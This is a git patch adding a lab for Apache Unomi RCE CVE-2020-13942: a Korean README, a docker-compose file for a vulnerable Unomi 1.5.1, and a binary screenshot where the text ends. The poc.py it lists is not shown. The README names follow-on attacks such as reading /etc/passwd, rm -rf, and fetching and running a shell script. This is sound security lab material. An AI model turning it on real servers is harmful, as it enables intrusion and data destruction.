From 1673d8933a63a347e9ada80ca55daf4629e2029e Mon Sep 17 00:00:00 2001 From: k0o24 Date: Mon, 13 Jul 2026 00:17:28 +0900 Subject: [PATCH] =?UTF-8?q?Add:=20Apache=20Unomi=20RCE=20(CVE-2020-13942)?= =?UTF-8?q?=20=ED=99=98=EA=B2=BD=20=EB=B0=8F=20PoC=20=EC=A0=9C=EC=B6=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- unomi/CVE-2020-13942/README.md | 34 ++++++++++++++++++++ unomi/CVE-2020-13942/docker-compose.yml | 18 +++++++++++ unomi/CVE-2020-13942/images/result.png | Bin 0 -> 19747 bytes unomi/CVE-2020-13942/poc.py | 41 ++++++++++++++++++++++++ 4 files changed, 93 insertions(+) create mode 100644 unomi/CVE-2020-13942/README.md create mode 100644 unomi/CVE-2020-13942/docker-compose.yml create mode 100644 unomi/CVE-2020-13942/images/result.png create mode 100644 unomi/CVE-2020-13942/poc.py diff --git a/unomi/CVE-2020-13942/README.md b/unomi/CVE-2020-13942/README.md new file mode 100644 index 000000000..14248ac6a --- /dev/null +++ b/unomi/CVE-2020-13942/README.md @@ -0,0 +1,34 @@ +# Apache Unomi OGNL/MVEL Expression Injection RCE (CVE-2020-13942) + +## 1. 취약점 요약 (Summary) +Apache Unomi 1.5.1 이전 버전에서 발생하는 취약점으로, 악의적인 사용자가 조작된 MVEL 또는 OGNL 표현식을 포함한 요청(JSON)을 전송하여 서버 권한으로 임의의 시스템 명령어를 실행(RCE)할 수 있습니다. + +## 2. 환경 구성 (Environment Setup) +아래 명령어를 통해 취약한 Apache Unomi 환경을 실행합니다. + +```bash +docker-compose up -d +``` + +## 3. 재현 절차 및 실행 결과 (PoC) +1. 환경이 정상적으로 실행된 후, `poc.py` 스크립트를 실행하여 악성 페이로드를 전송합니다. +```bash +python3 poc.py +``` +2. 컨테이너 내부로 진입하여 `/tmp` 디렉토리에 `mvel` 파일이 성공적으로 생성되었는지 확인합니다. +```bash +docker-compose exec web bash +ls /tmp/ +``` + +**[실행 결과 스크린샷]** +![PoC 실행 결과](./images/result.png) + +**[mvel 파일 생성의 보안상 의미]** +단순한 빈 파일(mvel) 생성으로 보일 수 있으나, 이는 공격자가 서버 내에서 원래 애플리케이션의 의도를 완전히 벗어나 **원하는 임의의 시스템 명령어를 아무런 제약 없이 실행(RCE)할 수 있음**을 증명하는 결정적 지표입니다. + +실제 공격 상황에서 이 페이로드의 명령어가 파일 생성이 아닌 민감한 데이터 읽기(`cat /etc/passwd`), 핵심 파일 삭제(`rm -rf`), 혹은 악성 쉘 스크립트 다운로드 및 실행 등으로 변경될 경우, 시스템 장악 및 치명적인 데이터 유출 사고로 직결되는 매우 심각한 보안 위협입니다. + +## 4. 대응 방안 (Mitigation) +* 버전 업데이트: Apache Unomi 버전을 1.5.2 이상으로 업데이트하여 패치를 적용합니다. +* 입력값 검증: 애플리케이션 내에서 OGNL 및 MVEL 표현식 입력값에 대한 철저한 필터링을 수행합니다. \ No newline at end of file diff --git a/unomi/CVE-2020-13942/docker-compose.yml b/unomi/CVE-2020-13942/docker-compose.yml new file mode 100644 index 000000000..211488679 --- /dev/null +++ b/unomi/CVE-2020-13942/docker-compose.yml @@ -0,0 +1,18 @@ +version: '2' +services: + web: + image: vulhub/unomi:1.5.1 + ports: + - "9443:9443" + - "8181:8181" + environment: + - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200 + depends_on: + - elasticsearch + elasticsearch: + image: elasticsearch:7.9.3 + environment: + - cluster.name=contextElasticSearch + - discovery.type=single-node + - "ES_JAVA_OPTS=-Xms512m -Xmx512m" + - bootstrap.memory_lock=true \ No newline at end of file diff --git a/unomi/CVE-2020-13942/images/result.png b/unomi/CVE-2020-13942/images/result.png new file mode 100644 index 0000000000000000000000000000000000000000..e462eea5e067185c85caaa0aee97e61dd275e0b4 GIT binary patch literal 19747 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 